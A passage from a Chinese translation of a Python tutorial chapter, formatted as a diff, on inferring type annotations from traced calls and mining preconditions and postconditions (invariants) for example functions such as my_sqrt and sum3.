+            if return_type is not None and return_type != type_string(return_value):
+                return_type = 'Any'
+            else:
+                return_type = type_string(return_value)
+
+        for parameter, value in args:
+            try:
+                different_type = parameter_types[parameter] != type_string(value)
+            except KeyError:
+                different_type = False
+
+            if different_type:
+                parameter_types[parameter] = 'Any'
+            else:
+                parameter_types[parameter] = type_string(value)
+
+    annotated_function_ast = TypeTransformer(parameter_types, return_type).visit(function_ast)
+    return annotated_function_ast
+
+```
+
+这是`my_sqrt()`，上面用跟踪器记录的类型进行了注释。
+
+```py
+print_content(astor.to_source(annotate_types(tracker.calls())['my_sqrt']), '.py')
+
+```
+
+```py
+def my_sqrt(x: float) ->float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+### 多合一注解
+
+让我们将所有这些都放在一个单独的类`TypeAnnotator`中，该类首先跟踪函数的调用，然后允许访问带有类型注释的跟踪函数的AST（和源代码形式）。 方法`typed_functions()`以字符串形式返回带注释的函数； `typed_functions_ast()`返回其AST。
+
+```py
+class TypeTracker(CallTracker):
+    pass
+
+```
+
+```py
+class TypeAnnotator(TypeTracker):
+    def typed_functions_ast(self, function_name=None):
+        if function_name is None:
+            return annotate_types(self.calls())
+
+        return annotate_function_with_types(function_name, self.calls(function_name))
+
+    def typed_functions(self, function_name=None):
+        if function_name is None:
+            functions = ''
+            for f_name in self.calls():
+                try:
+                    f_text = astor.to_source(self.typed_functions_ast(f_name))
+                except KeyError:
+                    f_text = ''
+                functions += f_text
+            return functions
+
+        return astor.to_source(self.typed_functions_ast(function_name))
+
+```
+
+这是使用`TypeAnnotator`的方法。 我们首先跟踪一系列呼叫：
+
+```py
+with TypeAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = my_sqrt(2.0)
+
+```
+
+跟踪之后，我们可以立即获取跟踪功能的带注释的版本：
+
+```py
+print_content(annotator.typed_functions(), '.py')
+
+```
+
+```py
+def my_sqrt(x: float) ->float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+这也适用于多种功能。 可以根据执行期间看到的类型，为Python文件实现自动类型注释器。
+
+```py
+with TypeAnnotator() as annotator:
+    hello('type annotations')
+    y = my_sqrt(1.0)
+
+```
+
+```py
+Hello, type annotations
+
+```
+
+```py
+print_content(annotator.typed_functions(), '.py')
+
+```
+
+```py
+def hello(name: str):
+    print('Hello,', name)
+def my_sqrt(x: float) ->float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+现在可以将上述内容发送到类型检查器，该类型检查器将检测呼叫者和被呼叫者之间的任何类型不一致。 同样，上面的类型注释也极大地有利于符号代码分析（如[符号模糊化](SymbolicFuzzer.html)中的章节），因为它们有效地限制了参数和变量可以采用的值集。
+
+### 多种类型
+
+现在让我们解决魔术`Any`类型在`annotate_function_ast_with_types()`中的作用。 如果我们为同一个参数看到多种类型，则将其类型设置为`Any`。 对于`my_sqrt()`，这很有意义，因为其参数可以是整数也可以是浮点数：
+
+```py
+with CallTracker() as tracker:
+    y = my_sqrt(25.0)
+    y = my_sqrt(4)
+
+```
+
+```py
+print_content(astor.to_source(annotate_types(tracker.calls())['my_sqrt']), '.py')
+
+```
+
+```py
+def my_sqrt(x: Any) ->float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+可以使用浮点数作为参数来调用以下函数`sum3()`，导致参数获得`float`类型：
+
+```py
+def sum3(a, b, c):
+    return a + b + c
+
+```
+
+```py
+with TypeAnnotator() as annotator:
+    y = sum3(1.0, 2.0, 3.0)
+y
+
+```
+
+```py
+6.0
+
+```
+
+```py
+print_content(annotator.typed_functions(), '.py')
+
+```
+
+```py
+def sum3(a: float, b: float, c: float) ->float:
+    return a + b + c
+
+```
+
+但是，如果我们使用整数调用`sum3()`，则参数将获得`int`类型：
+
+```py
+with TypeAnnotator() as annotator:
+    y = sum3(1, 2, 3)
+y
+
+```
+
+```py
+6
+
+```
+
+```py
+print_content(annotator.typed_functions(), '.py')
+
+```
+
+```py
+def sum3(a: int, b: int, c: int) ->int:
+    return a + b + c
+
+```
+
+我们还可以使用字符串调用`sum3()`，为参数指定`str`类型：
+
+```py
+with TypeAnnotator() as annotator:
+    y = sum3("one", "two", "three")
+y
+
+```
+
+```py
+'onetwothree'
+
+```
+
+```py
+print_content(annotator.typed_functions(), '.py')
+
+```
+
+```py
+def sum3(a: str, b: str, c: str) ->str:
+    return a + b + c
+
+```
+
+如果我们有多个调用，但类型不同，则`TypeAnnotator()`将为参数和返回值分配`Any`类型：
+
+```py
+with TypeAnnotator() as annotator:
+    y = sum3(1, 2, 3)
+    y = sum3("one", "two", "three")
+
+```
+
+```py
+typed_sum3_def = annotator.typed_functions('sum3')
+
+```
+
+```py
+print_content(typed_sum3_def, '.py')
+
+```
+
+```py
+def sum3(a: Any, b: Any, c: Any) ->Any:
+    return a + b + c
+
+```
+
+类型`Any`明确表明对象可以具有任何类型。 它不会在运行时或静态地进行类型检查。 在某种程度上，这削弱了类型检查的能力。 但是它还保留了许多Python程序员喜欢的类型灵活性。 除了`Any`之外，`typing`模块还支持几种其他方式来定义模糊类型。 我们将牢记这一点，以便以后进行练习。
+
+## 指定和检查不变量
+
+除了基本数据类型。 我们可以从参数中检查其他几个属性。 例如，我们可以确定一个参数可以是负数，零还是正数。 或者一个论点应小于第二个论点； 或结果应为两个参数的总和–无法以（Python）类型表示的属性。
+
+这样的属性称为*不变量*，因为它们在函数的所有调用中均有效。 具体来说，不变量出现在*之前*-和*后置条件*-始终在函数的开头和结尾处保持的条件。 （还有*数据*和*对象*不变量表示数据或对象状态的始终保持属性，但在本书中我们不予考虑。）
+
+### 带前置条件和后置条件的函数注释
+
+指定前置条件和后置条件的经典方法是通过*断言*，我们已在[关于测试](Intro_Testing.html)的章节中介绍了该断言。 前提条件检查函数的参数是否满足期望的属性； 后置条件的结果相同。 我们可以使用断言来表达和检查这两种方法，如下所示：
+
+```py
+def my_sqrt_with_invariants(x):
+    assert x >= 0  # Precondition
+
+    ...
+
+    assert result * result == x  # Postcondition
+    return result
+
+```
+
+但是，更好的方法是在语法上将不变式与当前函数分开。 使用适当的修饰符，我们可以指定前置条件和后置条件，如下所示：
+
+```py
+@precondition lambda x: x >= 0
+@postcondition lambda return_value, x: return_value * return_value == x
+def my_sqrt_with_invariants(x):
+    # normal code without assertions
+    ...
+
+```
+
+装饰器`@precondition`和`@postcondition`将分别在装饰的函数之前和之后运行给定的函数（指定为匿名`lambda`函数）。 如果函数返回`False`，则违反条件。 `@precondition`将函数参数作为参数； `@postcondition`另外将返回值作为第一个参数。
+
+事实证明，实现这样的装饰器并不难。 我们的实现基于StackOverflow 的[代码段：](https://stackoverflow.com/questions/12151182/python-precondition-postcondition-for-member-function-how)
+
+```py
+import [functools](https://docs.python.org/3/library/functools.html)
+
+```
+
+```py
+def condition(precondition=None, postcondition=None):
+    def decorator(func):
+        @functools.wraps(func) # preserves name, docstring, etc
+        def wrapper(*args, **kwargs):
+            if precondition is not None:
+               assert precondition(*args, **kwargs), "Precondition violated"
+
+            retval = func(*args, **kwargs) # call original function or method
+            if postcondition is not None:
+               assert postcondition(retval, *args, **kwargs), "Postcondition violated"
+
+            return retval
+        return wrapper
+    return decorator
+
+def precondition(check):
+    return condition(precondition=check)
+
+def postcondition(check):
+    return condition(postcondition=check)
+
+```
+
+有了这些，我们现在可以开始装饰`my_sqrt()`了：
+
+```py
+@precondition(lambda x: x > 0)
+def my_sqrt_with_precondition(x):
+    return my_sqrt(x)
+
+```
+
+这引起了违反先决条件的论点：
+
+```py
+with ExpectError():
+    my_sqrt_with_precondition(-1.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-102-c02dc99b6c54>", line 2, in <module>
+    my_sqrt_with_precondition(-1.0)
+  File "<ipython-input-100-39ada1fd0b7e>", line 6, in wrapper
+    assert precondition(*args, **kwargs), "Precondition violated"
+AssertionError: Precondition violated (expected)
+
+```
+
+同样，我们可以提供一个后置条件：
+
+```py
+EPSILON = 1e-5
+
+```
+
+```py
+@postcondition(lambda ret, x: ret * ret - x < EPSILON)
+def my_sqrt_with_postcondition(x):
+    return my_sqrt(x)
+
+```
+
+```py
+y = my_sqrt_with_postcondition(2.0)
+y
+
+```
+
+```py
+1.414213562373095
+
+```
+
+如果我们有一个错误的$ \ sqrt {x} $实现，则会很快被发现：
+
+```py
+@postcondition(lambda ret, x: ret * ret - x < EPSILON)
+def buggy_my_sqrt_with_postcondition(x):
+    return my_sqrt(x) + 0.1
+
+```
+
+```py
+with ExpectError():
+    y = buggy_my_sqrt_with_postcondition(2.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-107-38a36260c5b6>", line 2, in <module>
+    y = buggy_my_sqrt_with_postcondition(2.0)
+  File "<ipython-input-100-39ada1fd0b7e>", line 10, in wrapper
+    assert postcondition(retval, *args, **kwargs), "Postcondition violated"
+AssertionError: Postcondition violated (expected)
+
+```
+
+虽然检查前置条件和后置条件是捕获错误的好方法，但是指定它们可能很麻烦。 让我们尝试看看是否可以（再次）*挖掘*其中的一些。
+
+## 挖掘不变量
+
+为了*挖掘*不变量，我们可以使用与以前相同的跟踪功能； 但是，我们现在检查值是否满足特定的*属性*，而不是保存单个变量的值。 例如，如果看到的`x`的所有值都满足条件`x > 0`，则使`x > 0`成为函数的不变式。 但是，如果我们看到`x`的正值，零值和负值，那么`x`的属性就不用说了。
+
+因此，总体思路是：
+
+1.  根据一组预定义的属性检查观察到的所有变量值； 和
+2.  仅保留那些对于所有观察到的运行均适用的属性。
+
+### 定义属性
+
+属性到底是什么意思？ 这是价值属性的一小部分集合，经常在不变式中使用。 所有这些属性都将通过将*元变量* `X`，`Y`和`Z`（实际上是任何大写标识符）替换为功能参数名称来进行评估：
+
+```py
+INVARIANT_PROPERTIES = [
+    "X < 0",
+    "X <= 0",
+    "X > 0",
+    "X >= 0",
+    "X == 0",
+    "X != 0",
+]
+
+```
+
+当`my_sqrt(x)`称为`my_sqrt(5.0)`时，我们看到`x = 5.0`成立。 然后将检查以上所有属性的`x`。 仅属性`X > 0`，`X >= 0`和`X != 0`适用于所看到的呼叫； 因此`x > 0`，`x >= 0`和`x != 0`将成为`my_sqrt(x)`的潜在前提。
+
+我们可以检查更多的属性，例如两个参数之间的关系：
+
+```py
+INVARIANT_PROPERTIES += [
+    "X == Y",
+    "X > Y",
+    "X < Y",
+    "X >= Y",
+    "X <= Y",
+]
+
+```
+
+也可以使用属性检查类型。 对于任何功能参数`X`，其中只有一个将保持：
+
+```py
+INVARIANT_PROPERTIES += [
+    "isinstance(X, bool)",
+    "isinstance(X, int)",
+    "isinstance(X, float)",
+    "isinstance(X, list)",
+    "isinstance(X, dict)",
+]
+
+```
+
+我们可以检查算术属性：
+
+```py
+INVARIANT_PROPERTIES += [
+    "X == Y + Z",
+    "X == Y * Z",
+    "X == Y - Z",
+    "X == Y / Z",
+]
+
+```
+
+这是三个值之间的关系，这是Python的特殊功能：
+
+```py
+INVARIANT_PROPERTIES += [
+    "X < Y < Z",
+    "X <= Y <= Z",
+    "X > Y > Z",
+    "X >= Y >= Z",
+]
+
+```
+
+最后，我们还可以检查列表或字符串属性。 同样，这只是一个很小的选择。
+
+```py
+INVARIANT_PROPERTIES += [
+    "X == len(Y)",
+    "X == sum(Y)",
+    "X.startswith(Y)",
+]
+
+```
+
+### 提取元变量
+
+在开始实际挖掘之前，让我们首先介绍一些*辅助函数*。 `metavars()`从属性中提取一组元变量（`X`，`Y`，`Z`等）。 为此，我们将属性解析为Python表达式，然后访问标识符。
+
+```py
+def metavars(prop):
+    metavar_list = []
+
+    class ArgVisitor(ast.NodeVisitor):
+        def visit_Name(self, node):
+            if node.id.isupper():
+                metavar_list.append(node.id)
+
+    ArgVisitor().visit(ast.parse(prop))
+    return metavar_list
+
+```
+
+```py
+assert metavars("X < 0") == ['X']
+
+```
+
+```py
+assert metavars("X.startswith(Y)") == ['X', 'Y']
+
+```
+
+```py
+assert metavars("isinstance(X, str)") == ['X']
+
+```
+
+### 实例化属性
+
+为了产生不变的属性，我们需要能够使用变量名将其*实例化。 例如，将`X`实例化为`a`的`X > 0`实例化为`a > 0`。 为此，函数`instantiate_prop()`具有属性和变量名的集合，并使用该集合中的相应变量名从左到右实例化元变量。*
+
+```py
+def instantiate_prop_ast(prop, var_names):
+    class NameTransformer(ast.NodeTransformer):
+        def visit_Name(self, node):
+            if node.id not in mapping:
+                return node
+            return ast.Name(id=mapping[node.id], ctx=ast.Load())
+
+    meta_variables = metavars(prop)
+    assert len(meta_variables) == len(var_names)
+
+    mapping = {}
+    for i in range(0, len(meta_variables)):
+        mapping[meta_variables[i]] = var_names[i]
+
+    prop_ast = ast.parse(prop, mode='eval')
+    new_ast = NameTransformer().visit(prop_ast)
+
+    return new_ast
+
+```
+
+```py
+def instantiate_prop(prop, var_names):
+    prop_ast = instantiate_prop_ast(prop, var_names)
+    prop_text = astor.to_source(prop_ast).strip()
+    while prop_text.startswith('(') and prop_text.endswith(')'):
+        prop_text = prop_text[1:-1]
+    return prop_text
+
+```
+
+```py
+assert instantiate_prop("X > Y", ['a', 'b']) == 'a > b'
+
+```
+
+```py
+assert instantiate_prop("X.startswith(Y)", ['x', 'y']) == 'x.startswith(y)'
+
+```
+
+### 评估属性
+
+要实际*评估*属性，我们不需要实例化它们。 相反，我们只需要使用`lambda`将它们转换为布尔函数：
+
+```py
+def prop_function_text(prop):
+    return "lambda " + ", ".join(metavars(prop)) + ": " + prop
+
+def prop_function(prop):
+    return eval(prop_function_text(prop))
+
+```
+
+这是一个简单的示例：
+
+```py
+prop_function_text("X > Y")
+
+```
+
+```py
+'lambda X, Y: X > Y'
+
+```
+
+```py
+p = prop_function("X > Y")
+p(100, 1)
+
+```
+
+```py
+True
+
+```
+
+```py
+p(1, 100)
+
+```
+
+```py
+False
+
+```
+
+### 检查不变量
+
+为了从执行中提取不变量，我们需要检查所有可能的参数实例化。 如果要检查的函数具有两个参数`a`和`b`，我们将属性`X < Y`实例化为`a < b`和`b < a`并分别检查它们。
+
+要获得所有组合，我们使用Python `permutations()`函数：
+
+```py
+import [itertools](https://docs.python.org/3/library/itertools.html)
+
+```
+
+```py
+for combination in itertools.permutations([1.0, 2.0, 3.0], 2):
+    print(combination)
+
+```
+
+```py
+(1.0, 2.0)
+(1.0, 3.0)
+(2.0, 1.0)
+(2.0, 3.0)
+(3.0, 1.0)
+(3.0, 2.0)
+
+```
+
+函数`true_property_instantiations()`具有一个属性和一个元组列表（`var_name`，`value`）。 然后，它将使用给定的值生成该属性的所有实例，并返回评估为True的实例。
+
+```py
+def true_property_instantiations(prop, vars_and_values, log=False):
+    instantiations = set()
+    p = prop_function(prop)
+
+    len_metavars = len(metavars(prop))
+    for combination in itertools.permutations(vars_and_values, len_metavars):
+        args = [value for var_name, value in combination]
+        var_names = [var_name for var_name, value in combination]
+
+        try:
+            result = p(*args)
+        except:
+            result = None
+
+        if log:
+            print(prop, combination, result)
+        if result:
+            instantiations.add((prop, tuple(var_names)))
+
+    return instantiations
+
+```
+
+这是一个例子。 如果`x == -1`和`y == 1`的属性`X < Y`对于`x < y`成立，但对`y < x`不成立：
+
+```py
+invs = true_property_instantiations("X < Y", [('x', -1), ('y', 1)], log=True)
+invs
+
+```
+
+```py
+X < Y (('x', -1), ('y', 1)) True
+X < Y (('y', 1), ('x', -1)) False
+
+```
+
+```py
+{('X < Y', ('x', 'y'))}
+
+```
+
+实例化检索缩写形式：
+
+```py
+for prop, var_names in invs:
+    print(instantiate_prop(prop, var_names))
+
+```
+
+```py
+x < y
+
+```
+
+同样，对于上述`x`和`y`的值，属性`X < 0`仅适用于`x`，而不适用于`y`：
+
+```py
+invs = true_property_instantiations("X < 0", [('x', -1), ('y', 1)], log=True)
+
+```
+
+```py
+X < 0 (('x', -1),) True
+X < 0 (('y', 1),) False
+
+```
+
+```py
+for prop, var_names in invs:
+    print(instantiate_prop(prop, var_names))
+
+```
+
+```py
+x < 0
+
+```
+
+### 提取不变量
+
+现在让我们对函数参数进行上述不变提取，并返回在函数执行期间观察到的值。 为此，我们将`CallTracker`类扩展为`InvariantTracker`类，该类自动为跟踪期间观察到的所有函数和所有调用计算不变量。
+
+默认情况下，`InvariantTracker`使用上面定义的属性。 但是，可以指定一组备用属性。
+
+```py
+class InvariantTracker(CallTracker):
+    def __init__(self, props=None, **kwargs):
+        if props is None:
+            props = INVARIANT_PROPERTIES
+
+        self.props = props
+        super().__init__(**kwargs)
+
+```
+
+`InvariantTracker`的关键方法是`invariants()`方法。 这将遍历观察到的调用并检查哪些属性成立。 仅保留属性的交集-即对所有调用均适用的属性集-并最终将其返回。 特殊变量`return_value`设置为保留返回值。
+
+```py
+RETURN_VALUE = 'return_value'
+
+```
+
+```py
+class InvariantTracker(InvariantTracker):
+    def invariants(self, function_name=None):
+        if function_name is None:
+            return {function_name: self.invariants(function_name) for function_name in self.calls()}
+
+        invariants = None
+        for variables, return_value in self.calls(function_name):
+            vars_and_values = variables + [(RETURN_VALUE, return_value)]
+
+            s = set()
+            for prop in self.props:
+                s |= true_property_instantiations(prop, vars_and_values, self._log)
+            if invariants is None:
+                invariants = s
+            else:
+                invariants &= s
+
+        return invariants
+
+```
+
+这是如何使用`invariants()`的示例。 我们通过一小组电话来运行跟踪器。
+
+```py
+with InvariantTracker() as tracker:
+    y = my_sqrt(25.0)
+    y = my_sqrt(10.0)
+
+tracker.calls()
+
+```
+
+```py
+{'my_sqrt': [([('x', 25.0)], 5.0), ([('x', 10.0)], 3.162277660168379)]}
+
+```
+
+`invariants()`方法产生一组可保留观察到的运行的属性，以及它们在函数参数上的实例化。
+
+```py
+invs = tracker.invariants('my_sqrt')
+invs
+
+```
+
+```py
+{('X != 0', ('return_value',)),
+ ('X != 0', ('x',)),
+ ('X < Y', ('return_value', 'x')),
+ ('X <= Y', ('return_value', 'x')),
+ ('X > 0', ('return_value',)),
+ ('X > 0', ('x',)),
+ ('X > Y', ('x', 'return_value')),
+ ('X >= 0', ('return_value',)),
+ ('X >= 0', ('x',)),
+ ('X >= Y', ('x', 'return_value')),
+ ('isinstance(X, float)', ('return_value',)),
+ ('isinstance(X, float)', ('x',))}
+
+```
+
+和以前一样，实际的实例更易于阅读：
+
+```py
+def pretty_invariants(invariants):
+    props = []
+    for (prop, var_names) in invariants:
+        props.append(instantiate_prop(prop, var_names))
+    return sorted(props)
+
+```
+
+```py
+pretty_invariants(invs)
+
+```
+
+```py
+['isinstance(return_value, float)',
+ 'isinstance(x, float)',
+ 'return_value != 0',
+ 'return_value < x',
+ 'return_value <= x',
+ 'return_value > 0',
+ 'return_value >= 0',
+ 'x != 0',
+ 'x > 0',
+ 'x > return_value',
+ 'x >= 0',
+ 'x >= return_value']
+
+```
+
+我们看到`x`和返回值都具有`float`类型。 我们还看到两者总是大于零。 这些属性可能会成为有用的前提条件和后置条件，尤其是对于符号分析而言。
+
+但是，还有一个不变式*而不是*普遍成立，即`return_value <= x`，如以下示例所示：
+
+```py
+my_sqrt(0.01)
+
+```
+
+```py
+0.1
+
+```
+
+显然，0.1 > 0.01成立。 这是我们没有从足够多样化的输入中学习的情况。 一旦有了包含`x = 0.1`的呼叫，不变式`return_value <= x`就被消除：
+
+```py
+with InvariantTracker() as tracker:
+    y = my_sqrt(25.0)
+    y = my_sqrt(10.0)
+    y = my_sqrt(0.01)
+
+pretty_invariants(tracker.invariants('my_sqrt'))
+
+```
+
+```py
+['isinstance(return_value, float)',
+ 'isinstance(x, float)',
+ 'return_value != 0',
+ 'return_value > 0',
+ 'return_value >= 0',
+ 'x != 0',
+ 'x > 0',
+ 'x >= 0']
+
+```
+
+稍后我们将讨论如何确保输入的足够多样性。 （提示：这涉及测试生成。）
+
+让我们在`sum3()`上试用我们的不变跟踪器。 我们看到所有类型都是定义明确的。 所有参数都不为零的属性是特定于观察到的调用的。
+
+```py
+with InvariantTracker() as tracker:
+    y = sum3(1, 2, 3)
+    y = sum3(-4, -5, -6)
+
+pretty_invariants(tracker.invariants('sum3'))
+
+```
+
+```py
+['a != 0',
+ 'b != 0',
+ 'c != 0',
+ 'isinstance(a, int)',
+ 'isinstance(b, int)',
+ 'isinstance(c, int)',
+ 'isinstance(return_value, int)',
+ 'return_value != 0']
+
+```
+
+如果我们改为使用字符串调用`sum3()`，则会得到不同的不变量。 值得注意的是，我们获得了后置条件，即返回值以`a`的值开头-如果使用字符串，则为通用后置条件。
+
+```py
+with InvariantTracker() as tracker:
+    y = sum3('a', 'b', 'c')
+    y = sum3('f', 'e', 'd')
+
+pretty_invariants(tracker.invariants('sum3'))
+
+```
+
+```py
+['a != 0',
+ 'a < return_value',
+ 'a <= return_value',
+ 'b != 0',
+ 'c != 0',
+ 'return_value != 0',
+ 'return_value > a',
+ 'return_value >= a',
+ 'return_value.startswith(a)']
+
+```
+
+如果我们同时使用字符串和数字（​​也为零）来调用`sum3()`，那么将没有所有调用都可以保留的属性。 这就是灵活性的代价。
+
+```py
+with InvariantTracker() as tracker:
+    y = sum3('a', 'b', 'c')
+    y = sum3('c', 'b', 'a')
+    y = sum3(-4, -5, -6)
+    y = sum3(0, 0, 0)
+
+pretty_invariants(tracker.invariants('sum3'))
+
+```
+
+```py
+[]
+
+```
+
+### 将挖掘的不变量转换为注释
+
+与上面的类型一样，我们希望具有一些功能，可以在其中添加挖掘的不变量作为对现有函数的注释。 为此，我们引入`InvariantAnnotator`类，扩展了`InvariantTracker`。
+
+我们从一个辅助方法开始。 `params()`返回以逗号分隔的参数名称列表，如在调用过程中所观察到的。
+
+```py
+class InvariantAnnotator(InvariantTracker):
+    def params(self, function_name):
+        arguments, return_value = self.calls(function_name)[0]
+        return ", ".join(arg_name for (arg_name, arg_value) in arguments)
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = sum3(1, 2, 3)
+
+```
+
+```py
+annotator.params('my_sqrt')
+
+```
+
+```py
+'x'
+
+```
+
+```py
+annotator.params('sum3')
+
+```
+
+```py
+'a, b, c'
+
+```
+
+现在进行实际注释。 `preconditions()`从已挖掘的不变量（即不依赖于返回值的属性）作为带有注释的字符串返回前提条件：
+
+```py
+class InvariantAnnotator(InvariantAnnotator):
+    def preconditions(self, function_name):
+        conditions = []
+
+        for inv in pretty_invariants(self.invariants(function_name)):
+            if inv.find(RETURN_VALUE) >= 0:
+                continue  # Postcondition
+
+            cond = "@precondition(lambda " + self.params(function_name) + ": " + inv + ")"
+            conditions.append(cond)
+
+        return conditions
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = my_sqrt(0.01)
+    y = sum3(1, 2, 3)
+
+```
+
+```py
+annotator.preconditions('my_sqrt')
+
+```
+
+```py
+['@precondition(lambda x: isinstance(x, float))',
+ '@precondition(lambda x: x != 0)',
+ '@precondition(lambda x: x > 0)',
+ '@precondition(lambda x: x >= 0)']
+
+```
+
+`postconditions()`对后置条件执行相同的操作：
+
+```py
+class InvariantAnnotator(InvariantAnnotator):
+    def postconditions(self, function_name):
+        conditions = []
+
+        for inv in pretty_invariants(self.invariants(function_name)):
+            if inv.find(RETURN_VALUE) < 0:
+                continue  # Precondition
+
+            cond = ("@postcondition(lambda " + 
+                RETURN_VALUE + ", " + self.params(function_name) + ": " + inv + ")")
+            conditions.append(cond)
+
+        return conditions
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = my_sqrt(0.01)
+    y = sum3(1, 2, 3)
+
+```
+
+```py
+annotator.postconditions('my_sqrt')
+
+```
+
+```py
+['@postcondition(lambda return_value, x: isinstance(return_value, float))',
+ '@postcondition(lambda return_value, x: return_value != 0)',
+ '@postcondition(lambda return_value, x: return_value > 0)',
+ '@postcondition(lambda return_value, x: return_value >= 0)']
+
+```
+
+有了这些，我们可以采用一个函数并将前置条件和后置条件都添加为注释：
+
+```py
+class InvariantAnnotator(InvariantAnnotator):
+    def functions_with_invariants(self):
+        functions = ""
+        for function_name in self.invariants():
+            try:
+                function = self.function_with_invariants(function_name)
+            except KeyError:
+                continue
+            functions += function
+        return functions
+
+    def function_with_invariants(self, function_name):
+        function = globals()[function_name]  # Can throw KeyError
+        source = inspect.getsource(function)
+        return "\n".join(self.preconditions(function_name) + 
+                         self.postconditions(function_name)) + '\n' + source
+
+```
+
+荣耀`function_with_invariants()`来了：
+
+```py
+with InvariantAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = my_sqrt(0.01)
+    y = sum3(1, 2, 3)
+
+```
+
+```py
+print_content(annotator.function_with_invariants('my_sqrt'), '.py')
+
+```
+
+```py
+@precondition(lambda x: isinstance(x, float))
+@precondition(lambda x: x != 0)
+@precondition(lambda x: x > 0)
+@precondition(lambda x: x >= 0)
+@postcondition(lambda return_value, x: isinstance(return_value, float))
+@postcondition(lambda return_value, x: return_value != 0)
+@postcondition(lambda return_value, x: return_value > 0)
+@postcondition(lambda return_value, x: return_value >= 0)
+def my_sqrt(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+很多不变式，是吗？ 在下面的内容（以及练习中）中，我们将讨论如何重点关注最相关的属性。
+
+### 一些示例
+
+这是另一个例子。 `list_length()`递归计算Python函数的长度。 让我们看看是否可以挖掘其不变式：
+
+```py
+def list_length(L):
+    if L == []:
+        length = 0
+    else:
+        length = 1 + list_length(L[1:])
+    return length
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    length = list_length([1, 2, 3])
+
+print_content(annotator.functions_with_invariants(), '.py')
+
+```
+
+```py
+@precondition(lambda L: L != 0)
+@precondition(lambda L: isinstance(L, list))
+@postcondition(lambda return_value, L: isinstance(return_value, int))
+@postcondition(lambda return_value, L: return_value == len(L))
+@postcondition(lambda return_value, L: return_value >= 0)
+def list_length(L):
+    if L == []:
+        length = 0
+    else:
+        length = 1 + list_length(L[1:])
+    return length
+
+```
+
+几乎所有这些属性（除了第一个属性）都是相关的。 当然，不变量如此整洁的原因是返回值等于`len(L)`，这是因为`X == len(Y)`是要检查的属性列表的一部分。
+
+下一个示例是一个非常简单的函数：
+
+```py
+def sum2(a, b):
+    return a + b
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    sum2(31, 45)
+    sum2(0, 0)
+    sum2(-1, -5)
+
+```
+
+不变量全部捕获了`a`，`b`和返回值`return_value == a + b`之间的关系。
+
+```py
+print_content(annotator.functions_with_invariants(), '.py')
+
+```
+
+```py
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: a == return_value - b)
+@postcondition(lambda return_value, a, b: b == return_value - a)
+@postcondition(lambda return_value, a, b: isinstance(return_value, int))
+@postcondition(lambda return_value, a, b: return_value == a + b)
+@postcondition(lambda return_value, a, b: return_value == b + a)
+def sum2(a, b):
+    return a + b
+
+```
+
+如果我们有一个没有返回值的函数，则返回值为`None`，我们只能挖掘前提条件。 （好吧，我们得到了一个“后置条件”，即返回值不为零，这对于`None`成立）。
+
+```py
+def print_sum(a, b):
+    print(a + b)
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    print_sum(31, 45)
+    print_sum(0, 0)
+    print_sum(-1, -5)
+
+```
+
+```py
+76
+0
+-6
+
+```
+
+```py
+print_content(annotator.functions_with_invariants(), '.py')
+
+```
+
+```py
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: return_value != 0)
+def print_sum(a, b):
+    print(a + b)
+
+```
+
+### 检查规格
+
+如上所述，具有不变性的函数可以输入Python解释器中，以便检查所有前置条件和后置条件。 我们创建一个函数`my_sqrt_annotated()`，其中包含上面挖掘的所有不变量。
+
+```py
+with InvariantAnnotator() as annotator:
+    y = my_sqrt(25.0)
+    y = my_sqrt(0.01)
+
+```
+
+```py
+my_sqrt_def = annotator.functions_with_invariants()
+my_sqrt_def = my_sqrt_def.replace('my_sqrt', 'my_sqrt_annotated')
+
+```
+
+```py
+print_content(my_sqrt_def, '.py')
+
+```
+
+```py
+@precondition(lambda x: isinstance(x, float))
+@precondition(lambda x: x != 0)
+@precondition(lambda x: x > 0)
+@precondition(lambda x: x >= 0)
+@postcondition(lambda return_value, x: isinstance(return_value, float))
+@postcondition(lambda return_value, x: return_value != 0)
+@postcondition(lambda return_value, x: return_value > 0)
+@postcondition(lambda return_value, x: return_value >= 0)
+def my_sqrt_annotated(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return approx
+
+```
+
+```py
+exec(my_sqrt_def)
+
+```
+
+带注释的版本将检查无效的参数-更确切地说，将检查具有尚未被观察到的属性的参数：
+
+```py
+with ExpectError():
+    my_sqrt_annotated(-1.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-170-c3c5c372ccd1>", line 2, in <module>
+    my_sqrt_annotated(-1.0)
+  File "<ipython-input-100-39ada1fd0b7e>", line 8, in wrapper
+    retval = func(*args, **kwargs) # call original function or method
+  File "<ipython-input-100-39ada1fd0b7e>", line 8, in wrapper
